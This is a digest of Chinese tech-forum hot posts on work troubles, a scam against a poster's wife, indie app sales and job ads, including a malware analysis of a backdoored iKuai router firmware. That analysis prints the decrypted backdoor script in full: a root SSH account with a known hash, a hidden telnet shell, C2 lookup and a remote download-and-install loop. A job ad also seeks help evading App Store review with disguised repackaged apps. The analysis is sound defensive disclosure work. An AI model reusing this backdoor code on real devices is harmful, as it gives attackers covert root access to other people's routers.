2026-04-19

17 篇热帖

1. 公司前两周招了个新人, 在犹豫要不要叫老板辞退他

说说前提, 公司不是说非常的正规, 总共就三四个开发。。所以要求是能够全栈的去做,没有测试, 需求理解也得靠自己来琢磨。 现在有 ai coding 的情况下, 分析理解代码也很快,公司也有提供 github copilot , 所以我很快就分配任务下去了

最近给他分配了几个任务

  1. 让他对接 api 接口, 开发完说好了, 提交了代码, 因为是新人, 我就做做兜底审核, 发现有部分参数不能生效, 他没有测试出来, 而这几个参数是这个接口效果的核心参数

  2. 再次对接 api 接口, 开发完说好了, 提交了代码, 我继续审核, 发现计费逻辑没有考虑完全, 有部分计费逻辑没有算进去。

  3. 再次对接 api 接口,开发完说好了, 提交了代码, 我继续审核, 发现他计费逻辑少了数量计费

三次, 我都对他进行了警告,要求他思维要严谨, 计费是与金钱有关, 说实话我已经对他很不满了, 本身自己工作就多,还每次都能检查到这种基本需求问题

  1. 还是开发个功能, 基于现有的邀请返利,增加充值返利功能,发现他把返利逻辑设置成了固定返回,不考虑充值多少返利多少。。。

如果说之前几次我是觉得他是个新人 ,应该要对他包容的话, 这里我已经有点怀疑人生了, 他到底有没有思维严谨性,是否真的做过开发。。。

  1. 昨天晚上, 我又心血来潮的,休息日想到他前几天有分配一个比较重要的功能还没有 merge 进来。。。就 merge 来看了看, 因为逻辑比较复杂, 修改点也比较多, 我就叫 ai 分析了下他的修改,发现他的实现是基于预估的值来实现, 而不是根据 api 接口返回的实际的值来实现的。。。我马上就测了下,发现预估值和实际值会有严重偏差, 很大概率会落实不到位。 我更怀疑人生了, 用 claude 直接修改,自己审核修了。心塞

再来个补充,api 接口对接都是有明确文档的。 计费逻辑文档也写的清楚。。。我分配任务的时候也只是简单的描述下。很多时候都要自己去理解, 补充, 脑补。 而我观他代码,基本都是 ai 生成, 不知道有没有去审核,我保持怀疑态度, 估计是把我的描述简答的修改了下丢 ai , 然后直接就用来测了

招这个人,本意上是想给我分担一下压力,并且更快速的迭代项目。但到目前来看, 应该是没有给我带来啥效率提升的,反倒给我增加了测试的压力负担。。。以及后续的任务也都得继续测试保障。 同时这个人努力也努力,也有在加班,但加班加班, 没有带来任何的对我来说的正向反馈。 就很心塞

个人没有带过人, 以前也是过安逸日子,就一直想给他机会,叫他走,开发压力有落在身上, 新招人过来也要时间,同时也不忍心, 但不叫他走,等于我给自己添了许多测试任务,开发任务的效率也没有提升多少, 把自己又搞心塞。

现在感觉他就像是没有新兵蛋子一样,没有啥逻辑思维,谨慎思维, 而且他三十来岁,十年经验了, 工资也不低 20+, 真的很纳闷, 那么多年经验,在有 ai 的前提下,怎么会对开发功能出那么多能忍的 bug

由衷请教下,这个人该叫他走人吗,有点忍不了了

2. 人在无奈的时候真的会笑
今年 36 了,当然也是被公司优化了,从去年年底就在投简历面试和准备考试了,昨天上午参加的事业编的考试,在回家的过程中,我姐给我发消息,说是我妈半个月前在蒜厂打工的时候,帮着扶装蒜的那种小推车的时候,被小推车的把手打到前胸,肋骨骨折了几根,还伤到肺部,现在肺部还在水肿,因为我一直在备考没有告诉我,今天告诉我,让我回去照顾一段时间。
有时候父母的倔强是理解不了的,因为我妈年龄大了,所以从两三年前就劝她不要去蒜厂干活了,她从来不听劝,每次都是敷衍了事,都是早上 5 点起床去蒜厂干到傍晚 6 点,一天 25-40 块钱,蒜厂不管饭还得自己带饭去。受伤了蒜厂老板是不管的,更不要想老板给出医药费,一整个冬天能赚两千块,都不够去医院看病的。前年冬天瞒着我们去蒜厂干了一冬天给自己累的心脏不舒服,躺着动不了,我回家送她去医院检查加住院花了八千多,有时候真是又心疼又无奈。我真的希望父母能健健康康、没病没灾的安稳生活,也许这一切都是我这个儿子无能造就的,没有功成名就,没有赚到足够的钱让他们拥有足够安全感的老年生活。
并且昨天上午 11 点半考完试一出来就想着给我老婆打个电话说一下中午怎么吃饭,第一个电话没打通,发了消息也没回,回去的过程中因为我妈的事情心情不好,就随便在外面吃了点快餐。回家以后发现我老婆不在家,当时都快 2 点了也没回我消息,我又给她打了 3 个电话都是打不通,等到了下午快 4 点才给我回消息,说是 11 点多有个”警察“给她打电话,说她涉嫌洗钱,让她配合操作支付宝和银行账号,她乖乖的去配合”警察“了,”警察“让她不要接任何人的电话,她连我的电话都不接,”警察“让她把她卡里所有的钱都转到了她的一个工行的卡里,她都照做转进去了,最后让她打开手机银行开通什么支付,因为她平时不用手机银行,身份证也不在身边,最后她工行卡被银行冻结了,要不是银行给她打电话问情况,她都要回家拿身份证去营业厅解冻继续操作了。
呵呵呵呵呵呵呵呵哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
真他妈的魔幻一天。
问她转过去多少钱,死活不说,让她把手机转账记录给我看,死活不给。到现在我都不知道她被诈骗了多少。跟我说银行把钱冻结了能找回来,我说:我信了。
如果真的有操纵一切的造物主,我真的想大声的告诉他:我见识到这个世界的厉害了,不用再给我加担子了,我一直都是服气的。
3. 我感觉自己好像被困住了。似乎我经常陷入这种困境, 而这种困境更像是我给自己的限制太多

举个例子,我最近准备租房子,花了很多时间,看了 20 多套房子, 终于找到一套满意的房子。但是因为是新房,我担心甲醛的问题,所以请了有 cma 检测资质的人检测。 检测的时间是 4 月, 春天的时候, 温度 22 度左右, 密闭门窗时间还特意延长到 24 小时,尽管没有把所有的柜子门和抽屉打开。在检测报告出来之前我告诉自己,如果检测结果达标,我就放心,因为我密闭时间是超过标准要求的时间的,即使是刚刚合格, 比如 0.08 , 我都接受。

但是,检测结果是 0.086 。我本来觉得只超了 0.006 ,可以忽略不计, 但是接着我又考虑到即将到来的夏天, 温度会升高,我查了一些资料显示,高温高湿会让甲醛加速释放, 很有可能到夏天的时候, 室内甲醛的浓度,会达到 0.2 以上。于是我又陷入了困境。租得话, 我担心夏天高温导致的更高的风险;因为这个不租的话, 我又不甘心,不死心。

以上例子中的困境,我感觉在我的人生中经常出现。有点心累, 是不是我的认知模式有啥问题?

4. 人生中第一次装机🎉

买配件,组装,旧服务器环境迁移。

耗时 7 天终于搞定了⚒️

人生中第一次装机,还算顺利✌️

33e014287cddb4abcbc3a13a3478cef0

c8728a67470c8bb636a40172b196637a

02c425618bd02a558b0899bf15bc7818

3493065c5486805a5475966c27bd3f32

9c3376fff5f7f788cda7ffeb43460142

97b26c533e7cf247b63ef1f1f47543b3

6. 在你们的求学和职业生涯中,有“恩师”的存在吗

我回顾我的求学生涯,好像一直没有遇到所谓的书籍上的“恩师”,都是教师以及“老板”或者“工头”。在基础教育阶段有几位老师至今感觉上还是很不错,但是也很难称之为“恩师”。

职场我目前还初出茅庐,就更没有了。

当然了,“恩师”这种东西,可能本身就和知己,仙侣,君子一样的,时常存活在“台词”中。

大概也是一种只见其名,不见其人的东西。

7. 问问大家,这个工作能去吗

先说我的 bg: 双非二本, 今年 6 月份毕业, 软件工程专业, 无实习, 近几个月在学习 agent 开发相关知识;

今天去面试了本地一家公司(郑州), 面试结果还行, 就是感觉公司不太靠谱呢,

  1. 公司没有 HR, 老板自己就是 HR, 真正的 boss 直聘...
  2. 公司是做男性保健品的, 自己有工厂生产保健品, 然后有下级的经销商; 技术部门的主要职责就是开发给经销商用的软件系统, 包括前后端、智能体, 然后每月这方面收入的一部分会分给整个技术部门;
  3. 如果进去工作的话, 前后端、智能体都要会做,可能各个流程都要参与, 全栈~全干, 老板强调要会用 AI
  4. 老板不知道什么是三方协议;
  5. 说先让我实习两月, 每月工资 3k, kpi 1k, 补贴 8 百; 如果能力可以的话,等我毕业后转正, 基本工资大概七八千.
  6. 单双休, 每天早 10 晚 7

请各位前辈帮忙分析一下, 这工作靠谱吗, 总感觉做保健品不太靠谱啊!

8. 出海技术团队招聘(核心岗位|加速器方向)

统一待遇

底薪:5000 ~ 10000 元 / 月(能力强可谈) 利润分红:3% ~ 5%(核心成员可给期权) 海外补贴:1000 ~ 3000 元 / 月 休假福利:每季度 15 天带薪休假 + 往返机票 报销福利:饮食 + 住宿全额报销

项目属于出海业务 + 高执行节奏团队,偏结果导向

🧠 一、后端工程师( PHP 主+ Go 接口)

岗位职责:

使用 PHP 负责核心业务开发(用户、订单、代理体系等) 对接 Go 接口服务(高性能模块)

参与挂码系统、三级代理体系的设计与实现

优化系统性能、接口稳定性与并发能力

参与整体系统架构设计(含网络/加速相关模块)

任职要求: 精通 PHP ,有完整项目经验 能读懂并对接 Go 接口(有 Go 经验更优) 熟悉数据库( MySQL / Redis )

理解代理分销/三级代理逻辑(重点) 熟悉常见网络协议( HTTP / TCP / UDP ) 加分项: 有加速器 / 游戏相关项目经验 熟悉主流 VPN/隧道协议(如 OpenVPN 、Shadowsocks 、V2Ray 、WireGuard 等)

具备前端或运维能力(半全栈)

能接受出国

二、前端 / 半全栈工程师

岗位职责: 负责前端开发( Web / H5 / 混合 / 移动端) 主语言:Java (项目体系) 对接后端接口( Go / PHP ),实现完整业务逻辑

参与挂码系统、代理分销逻辑的前端实现

优化弱网环境体验(重点)

任职要求 熟悉主流前端框架( Vue / React / 原生 JS ) 熟悉接口联调、前后端分离开发

理解网络请求优化(延迟、丢包、弱网处理)

具备基础后端认知,能快速协同开发

强加分项: 熟悉主流 VPN/网络协议 有加速器 / 游戏类项目经验 有跨端经验( Web + App ) 能接受出国

三、iOS 工程师( Swift 原生 + 上架)

岗位职责:

使用 Swift 进行原生开发 负责 App 上架流程、版本管理、审核应对 参与马甲包开发(改壳、UI 替换、混淆处理)

配合前后端完成完整业务闭环

任职要求

熟悉 iOS 原生开发( Swift ) 熟悉 Apple App Store 上架机制 有上架 / 被拒 / 过审经验(必须) 熟悉混淆、包体处理

强加分项 熟悉安卓/iOS 多端框架 熟悉 VPN/网络机制 有加速器类项目经验

能接受出国

四、运维工程师(网络 / 线路方向)

岗位职责:

负责服务器部署、维护、监控

线路优化(延迟、丢包、稳定性)

实现高并发处理、节点调度、线路轮询

参与网络架构与加速方案优化

任职要求

熟悉 Linux 运维体系 熟悉 TCP/IP 、DNS 、网络调优

有高并发系统维护经验

能处理服务器配置、扩容、容灾

强加分项

熟悉 VPN/隧道协议( OpenVPN / WireGuard / V2Ray 等) 有加速器 / 私有协议开发经验 海外节点/CDN 经验 能接受出国

统一核心要求:有团队意识,能协同作战、主动发现问题、强执行力、结果导向、有灰度认知(理解规则边界)

9. 你的 plus 还好吗?
三个号全噶了。
看样子屠杀开始了~
10. 今天生日,有哪些羊毛可以薅?
emmmm ,京东今天送了 500 京豆。
网上国网以前有优惠券。现在没有了。
兄弟们,还有其他什么羊毛可以薅吗?
11. 面对被裁员后的生活,你会做出怎样的选择呢?
主包中年单身,产品经理岗位,已经确定被裁,有几十万的存款,基本上跟房贷持平(可以一次还清)。
可以选择路径:
1. [找工作] 找一个同类型工作,继续内卷。但是要接受薪资大幅下滑的现实。
2. [躺平] 先调整心态,什么时候休息好了,再想接下来的工作。
3. [回老家] 把房子卖了,然后回老家发展(北方省会级城市)。
4. [创业] 通过 ai 搞一些一人公司的小项目,小而美赚生活费。
5. [自媒体] 通过工作经验,写一些干货做视频,分享一些自己的项目经历。

像一个从家里被赶出来淋雨的孩子,挺迷茫的,大家有没有成功的案例呀?
12. 准备 618 买苹果 17,买国行还是外版?
不知道有没有必要买外版
求教各位使用过的佬友
14. 被 Google Adsense 拒绝 6 次后,终于在第 7 次通过审核

2026 年 3 月 22 日终于通过了 Google Adsense 审核,从 2024 年 4 月 3 日开始提交审核,总共提交了 7 次,总算是通过了。到今天为止差不多一个月的时间,带来的总广告收入为 5.78 美元,虽然还很低,但起码流程上通了。

小小纪念一下,接下来继续优化 SEO ,争取广告费早日日入 1 刀

15. 近 4 个月做了 4 个 macOS App,最近 90 天拿到 682 个下载和 $121 销售
最近把过去几个月做的几个 macOS app 的数据整理了一下,第一次觉得这件事开始有一点真实感了。

这 4 个月差不多平均一个月做一个,现在一共上架了 4 个产品:

- WitNote
- GlotShot
- TrekReel
- DOMPrompter

最近 90 天的数据大概是:

- 682 个下载 / Units
- $121 销售额

区域分布也比我原来想的更散一些:

- Asia Pacific:334
- USA + Canada:278
- Europe:58
- Latin America + Caribbean:10

数字当然还很小,离真正跑出来还远,但对独立开发者来说,这种真的有人下载、真的有人付费的感觉还是挺不一样的。

至少说明这条路不是完全空的。

这几个月我最大的感受其实不是某一个产品突然爆了,而是小产品连续做下去之后,会慢慢积累出一点复利:

- 有的产品下载多一点
- 有的产品付费更直接一点
- 有的产品带来的是后续题材和经验

现在回头看,这种小体量但真实的数据,反而更能让我继续往前做。

如果大家对这种独立开发 / App Store / 多个小产品并行推进的过程感兴趣,后面我也可以继续分享:

- 这几个月怎么保持一个月一个产品的节奏
- App Store 上线后真实会发生什么
- 哪些产品有人下载但不赚钱,哪些赚钱但下载不多
- 做多语言、小工具、开发者产品的一些经验

相关项目都放在 GitHub 主页里了:
https://github.com/hooosberg

如果大家更想看某一个产品或者某一类复盘,我可以后面单独展开写。
16. 爱快软路由 ikuai 开心版 带插件固件完整分析

前阵子在恩山看到有用户在宣传 iKuai 插件版,价格几百一个授权还提供一个 7 天试用的密钥。嚯,一看一堆插件支持,其中还有疑似 Clash 的小猫咪。当然我很感谢他们让我把软路由玩爽了,一想爱快云平台只有那 1 个冷冰冰的 Docker 就不寒而栗...

undefined

他们的闲鱼 ID 分别是:公路暴走的榛子、伦敦天蝎座海牛。还有个曾用名:金陵巨蟹座佩奇(他们有多个某鱼小号注意鉴别马甲),至于他们的固件比爱快官方还要 bt ,这些贩子销售所谓的 iKuai"企业版"固件,声称包含 Docker 、Shell 等企业版功能。实际上,这些固件通过植入后门程序实现插件加载,同时在用户路由器上留下多个后门账户。

undefined

本文完整记录了逆向分析过程。


1. 固件提取

1.1 获取 rootfs

# 使用 Nyarc 解密 iKuai 固件
nyarc --ikuai-decrypt firmware.bin -o decrypted.xz

# 解压 XZ (必须 CRC32 )
xz -d decrypted.xz

# 挂载 ext2 rootfs
mkdir /tmp/xyrm
mount -o loop decrypted /tmp/xyrm

1.2 发现异常文件

# 标准 iKuai 不应该有这个文件
ls -la /tmp/xyrm/sbin/replace_files
# -rwxr-xr-x 1 root root 42240 ... replace_files

ls -la /tmp/xyrm/sbin/appinst.bin.pkg
# -rw-r--r-- 1 root root 26288 ... appinst.bin.pkg (Salted__加密)

1.3 Nyarc 安全扫描发现后门

nyarc --scan /tmp/xyrm

输出(节选):

[CRITICAL] Hardcoded Password
  /etc/shadow: 3 个异常账户
    root:$1$...:17857    ← 后门密码
    sshd:$1$...:17857    ← 后门密码  
    iksshd:$1$...:17857  ← 后门账户(标准 iKuai 无此用户)

[CRITICAL] Backdoor Detected
  /sbin/replace_files: 42KB ELF, 非标准 iKuai 文件
  
🟠 [HIGH] Telnet Backdoor
  /etc/setup/rc: telnetd -p 65500 -l /bin/ash
  ← 隐藏 Telnet 后门,端口 65500

2. replace_files 逆向

2.1 基本信息

file /tmp/xyrm/sbin/replace_files
# ELF 64-bit LSB executable, x86-64, statically linked

strings /tmp/xyrm/sbin/replace_files | grep -i "bash\|script\|tmp"
# /bin/bash -s
# /tmp/script_out_
# /tmp/script_err_
# kworker/u8:1-ev    ← 伪装成内核线程!

关键发现:

  • 静态链接 ELF ,42KB
  • 通过/bin/bash -s执行嵌入的脚本
  • 伪装进程名为kworker/u8:1-ev(模仿内核工作线程)
  • 输出重定向到/tmp/script_out_XXXXXX

2.2 Ghidra 反编译

使用 Ghidra headless 模式反编译:

# 导入并分析
analyzeHeadless /tmp/ghidra_rf rf_proj -import replace_files

# 反编译所有函数
analyzeHeadless /tmp/ghidra_rf rf_proj -process replace_files \
  -postScript DecompileAll.java

2.3 核心函数分析

main 入口( FUN_0040168a )

void FUN_0040168a(undefined4 param_1, undefined8 *param_2)
{
    // 1. 伪装进程名
    uVar1 = FUN_00405a20(*param_2);
    FUN_00405aa0(*param_2, "kworker/u8:1-ev", uVar1);
    
    // 2. 解密嵌入的脚本
    FUN_004016e8(&DAT_0040b0a0, &DAT_0040a040, 0xdd1);
    //           ^输出缓冲区    ^加密数据       ^长度=3537 字节
    
    // 3. 执行解密后的脚本
    FUN_004010e9(&DAT_0040b0a0, param_1, param_2);
}

解密函数( FUN_004016e8 )— 核心!

void FUN_004016e8(long output, undefined8 encrypted_data, uint data_len)
{
    // 1. 生成 1024 字节查找表(类似 iKuai rootfs 的 sbox !)
    for (i = 0; i < 0x400; i++) {
        sbox[i] = key[i & 0xf] + ((char)(i + 1) * -0x22);
        //        ^16 字节密钥     ^乘以-0x22(即-34)
    }
    
    // 2. 逐字节解密:减法 + 位旋转
    for (i = 0; i < data_len; i++) {
        bVar4 = (sbox[i & 0x3ff] + (char)data_len) & 0xFF;
        
        // 计算旋转位数:bVar4 % 7 + 1
        // Ghidra 显示的是编译器优化后的除法(乘 0x25 右移 8 )
        cVar1 = (bVar4 * 0x25) >> 8;
        div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2;
        shift = bVar4 - div7 * 7 + 1;
        
        // 解密操作:减去 bVar4 ,然后左旋转 shift 位
        data[i] = ROL((data[i] - bVar4) & 0xFF, shift);
    }
}

2.4 密钥提取

从 ELF 的数据段提取:

with open('replace_files', 'rb') as f:
    elf = f.read()

# 解析 ELF program headers 找到文件偏移
# DAT_0040ae20 (虚拟地址) → 0x9e20 (文件偏移)
# DAT_0040a040 (虚拟地址) → 0x9040 (文件偏移)

key = elf[0x9e20:0x9e20+16]
# 密钥: 88b1f1937a2cb39d5383953eb38a5368

encrypted_data = elf[0x9040:0x9040+0xdd1]
# 3537 字节加密数据

2.5 Python 解密实现

key = elf[0x9e20:0x9e20+16]
enc_data = bytearray(elf[0x9040:0x9040+0xdd1])
data_len = 0xdd1  # 3537

# 生成 sbox
sbox = bytearray(1024)
for i in range(1024):
    sbox[i] = (key[i & 0xf] + ((i + 1) * (-0x22 & 0xFF))) & 0xFF

# 解密
dec = bytearray(len(enc_data))
for i in range(len(enc_data)):
    bVar4 = (sbox[i & 0x3ff] + (data_len & 0xFF)) & 0xFF
    
    # shift = bVar4 % 7 + 1 (编译器优化还原)
    cVar1 = (bVar4 * 0x25) >> 8
    div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2
    shift = (bVar4 - div7 * 7 + 1) & 0x1F
    
    # 解密:减去 bVar4 ,然后 ROL
    val = (enc_data[i] - bVar4) & 0xFF
    val = ((val << shift) | (val >> (8 - shift))) & 0xFF
    dec[i] = val

print(bytes(dec).decode())

3. 解密后的后门脚本

完整解密输出( 3537 字节 bash 脚本):

#!/bin/bash

# ===== 后门 1: 添加 SSH 后门账户 =====
iksshd=`cat /etc/shadow|grep "iksshd"|wc -l`
if [ $iksshd -eq 0 ];then
echo 'iksshd:$1$ebBzICAY$5CaSyktzPh8SEUYMHdzhf1:17857:0:99999:7:::' >>/etc/shadow
echo 'iksshd:x:0:0:iksshd:/root:/bin/ash' >>/etc/passwd
fi
# iksshd 账户: UID=0(root 权限), 密码 hash 已知

# ===== 后门 2: C2 通信 =====
check_network() {
    while true; do
        ping -c2 qq.com >/dev/null 2>&1 && break
        ping -c2 163.com >/dev/null 2>&1 && break
        ping -c2 baidu.com >/dev/null 2>&1 && break
        sleep 5
    done
}

# ===== 后门 3: 远程控制服务器 =====
REG_SERVER="patch.ikuai8.cn"      # 伪装成 iKuai 官方域名
REG_SERVER2="www.ikuai8.cn"       # 备用
oss_cn_beijing="https://ikuai8-app.oss-cn-beijing.aliyuncs.com"

wget_file(){
    # 通过 DNS TXT 记录获取真实 C2 地址
    regaddr=$(curl -s "https://doh.pub/dns-query?name=${REG_SERVER}&type=TXT" \
              | jq -r '.Answer[].data' | sed -E 's/"//g')
    
    # 备用 DNS
    if [ -z "$regaddr" ]; then
        regaddr=$(curl -s "https://dns.alidns.com/resolve?name=${REG_SERVER2}&type=TXT" \
                  | jq -r '.Answer[].data' | sed -E 's/"//g')
    fi
    
    # 最终备用:硬编码动态 DNS
    if [ -z "$regaddr" ]; then
        regaddr="http://bdoptical2.vicp.cc:8081"
    fi
    
    # 通过 C2 服务器签名 OSS URL
    SIGNED_SER="$regaddr/generate_signed_url.php?url="
    SIGNED_URL=$(curl -s "$SIGNED_SER$oss_cn_beijing/$1")
    echo $SIGNED_URL
}

# ===== 后门 4: 无限循环下载+安装插件 =====
while true; do
    check_network
    sleep 15

    # 下载版本信息
    downloaded_version=`curl -sL $(wget_file "appinst_ver/version_rom")`
    
    # 下载 pmd 数据库(加密的 JSON )
    wget -O /tmp/iktmp/app_up/db \
         $(wget_file "appinst_ver/appinst_$downloaded_version") -q
    
    # 下载插件包( AES 加密的 tar.gz )
    wget -O /tmp/iktmp/app_up/appinst.bin.pkg \
         $(wget_file "appinst_ver/appinst_$downloaded_version.bin.ikp") -q

    if [ -s /tmp/iktmp/app_up/db ] && [ -s /tmp/iktmp/app_up/appinst.bin.pkg ]; then
        # 覆盖 pmd 数据库
        cp /tmp/iktmp/app_up/db /etc/log/packages/db/.__DB.3.x86_64
        
        # 放置插件包
        cp /tmp/iktmp/app_up/appinst.bin.pkg /etc/log/packages/appinst.bin.pkg
        
        # 重启 pmd ( iKuai 插件管理器)强制加载
        killall pmd
        rm /tmp/packages -r
        pmd
        sleep 30
    fi

    # 安装成功则退出,否则永远重试
    if [ -f /tmp/ikpkg/appinst/version ]; then
        exit
    fi
    
    # 清理重试
    rm /etc/log/packages/*.pkg -f
done

4. 后门清单

# 类型 详情 危害等级
1 SSH 后门账户 iksshd (UID=0, root 权限) 严重
2 Telnet 后门 端口 65500, /bin/ash 严重
3 进程伪装 伪装为kworker/u8:1-ev内核线程
4 C2 通信 DNS TXT 查询获取控制服务器地址 严重
5 远程下载 从阿里云 OSS 下载任意代码执行 严重
6 pmd 注入 覆盖官方插件数据库加载恶意插件 严重
7 无限循环 后门脚本永不退出,持续尝试
8 禁用 bash /etc/setup/rc中移除 bash ,防止用户排查

C2 基础设施

patch.ikuai8.cn          → DNS TXT → 真实 C2 地址
www.ikuai8.cn            → 备用 DNS TXT
bdoptical2.vicp.cc:8081  → 硬编码备用 C2 (花生壳动态域名)
ikuai8-app.oss-cn-beijing.aliyuncs.com → 插件存储(阿里云 OSS )

C2 服务器功能:
  /generate_signed_url.php → 生成 OSS 签名下载链接

5. 加密算法对比

replace_files vs iKuai rootfs

特性 replace_files iKuai rootfs
算法 自定义 sbox+位旋转 自定义 sbox+XOR
密钥长度 16 字节 16 字节
sbox 大小 1024 字节 256 字节(uint32 溢出)
操作 减法+ROL XOR
密钥存储 ELF 数据段 vmlinuz/rootfs 末尾

两者思路一致:生成查找表→逐字节变换。可能是同一作者/团队。


6. Nyarc 自动化检测

Nyarc 可以自动检测此类后门:

# 固件检测
nyarc --fw-detect xianyu_firmware.bin
# → iKuai 3.7.x (modified)

# 安全扫描
nyarc --scan /path/to/rootfs
# → CRITICAL: Hardcoded password in /etc/shadow
# → CRITICAL: Unknown ELF in /sbin/replace_files
# → HIGH: Telnet on non-standard port 65500

# 加密分析
nyarc --crypto-scan /sbin/replace_files
# → Custom encryption detected (sbox + rotation)

# 完整报告
nyarc --report xianyu_firmware.bin report.txt

7. 工具

  • Nyarc: 固件分析工具
  • Ghidra: NSA 逆向工程框架 — ELF 反编译
  • Python: 解密脚本实现

本文仅发布于 V2EX 使用 Nyarc v1.0.0 + Ghidra 11.3.2 测试

17. 有人会愿意为没有比官方便宜的 Claude 中转付费吗?

感觉干净的 Claude 中转都不便宜,看起来有些甚至还比官方贵,这种为何还有人付费?